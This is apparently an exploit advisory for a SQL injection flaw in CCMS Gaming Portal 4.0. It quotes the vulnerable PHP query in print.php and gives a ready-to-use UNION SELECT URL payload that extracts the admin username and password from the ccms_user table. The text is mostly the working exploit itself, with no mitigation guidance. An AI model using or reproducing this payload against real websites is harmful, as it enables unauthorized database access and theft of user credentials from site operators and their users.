CCMS Gaming Portal <= 4.0 SQL Injection Vulnerability Author: ~!Dok_tOR!~ Date found: 21.08.08 Product: CCMS Gaming Portal Version: 4.0 The price: $55 URL: customcms.net Vulnerability Class: SQL injection Condition: magic_quotes_gpc = Off print.php Vuln code: PHP: $q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'"); http://localhost/[installdir]/ Exploit: Code: print.php?id='+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+ccms_user+where+userid=1/* http://milw0rm.com/exploits/6284 (c) ~!Dok_tOR!~